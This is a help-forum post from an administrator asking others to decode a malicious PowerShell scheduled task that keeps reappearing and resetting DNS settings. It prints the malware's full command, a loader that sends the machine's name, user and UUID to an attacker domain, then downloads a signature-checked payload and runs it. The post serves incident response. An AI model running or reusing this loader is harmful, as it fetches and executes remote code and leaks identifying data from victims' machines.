Powershell Scheduled tasks automatically being created and changing my DNS to 8.8.8.8 and 9.9.9.9

I have an issue with what I believe to be a virus. It is creating PowerShell scripts in TaskScheduler.
It appears to be running WMIC and powershell.
It creates a task with the following code:

-c function a($u){$d=(New-Object Net.WebClient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d(173..$c);$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=(convert)::FromBase64String('2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8ZSAc3nxzR4iqef4hLNeUCnkWqulY5C0M85bjDLCpjblz/2LpUQcv1j1feIY6R7rpfqOLdHa10=');$p.Exponent=0x01,0x00,0x01;$r=New-Object Security.Cryptography.RSACryptoServiceProvider;$r.ImportParameters($p);if($r.verifyData($b,(New-Object Security.Cryptography.SHA1CryptoServiceProvider),(convert)::FromBase64String(-join((char())$d(0..171))))){Iex(-join(char())$b)}}}$url=’http://’+’t.pp6’+’r1.com’;a($url+’/a.jsp?rep_20210401?’+(@($env:COMPUTERNAME,$env:USERNAME,(get-wmiobject Win32_ComputerSystemProduct).UUID,(random))-join’*’))

It creates a randomly named file in the C:WindowsSystem32WindowsPowerShellv1.0 (same size and creation date as powershell.exe).

I have blocked the website it is trying to get to, and I have deleted several WMIC ‘autoruns’ but it keeps changing the DNS entries to 8.8.8.8 and 9.9.9.9.

I am replacing the affected computer, but was wondering if anyone could assist in making the above readable so I might be able to check other machines in the network for traces.

Or if it reveals any information that might prove useful.

Thanks in advance.